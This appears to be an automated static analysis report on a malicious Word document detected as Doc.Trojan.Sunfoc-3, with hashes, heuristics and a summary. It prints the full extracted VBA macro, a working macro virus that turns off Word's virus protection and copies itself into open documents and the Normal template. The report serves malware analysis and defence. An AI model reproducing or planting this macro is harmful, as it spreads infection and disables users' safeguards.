Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 cd27d647de2ac8b5…

MALICIOUS

Office (OLE)

26.5 KB Created: 2000-01-23 02:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2067ff8cc0a385c38b3e23d26538a402 SHA-1: 8510a03989dcd7d78a250367c00b74e4276d1911 SHA-256: cd27d647de2ac8b5edef2f29f95f52287bab8bfed48293097e2876c551547505
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to disable virus protection and macro confirmation settings, then overwrite the document's content with itself, likely to prepare for or execute a secondary payload. The ClamAV detection as 'Doc.Trojan.Sunfoc-3' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Sunfoc-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sunfoc-3
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 756 bytes
SHA-256: 71dfb9dad41f4c5413c6a7c2291c925284c903777e3cb97c5de2668748dd54b5
Detection
ClamAV: Doc.Trojan.Sunfoc-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set A = Options
A.VirusProtection = 0
A.SaveNormalPrompt = 0
A.ConfirmConversions = 0
For B = 1 To 3
If B = 1 Then Set C = ThisDocument Else If B = 2 Then Set C = ActiveDocument Else If B = 3 Then Set C = NormalTemplate
Set D = C.VBProject.VBComponents.Item(1).CodeModule
If B = 1 Then E = D.Lines(1, D.CountOfLines)
If B <> 1 Then D.DeleteLines 1, D.CountOfLines
If B <> 1 Then D.Addfromstring E
Next
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub

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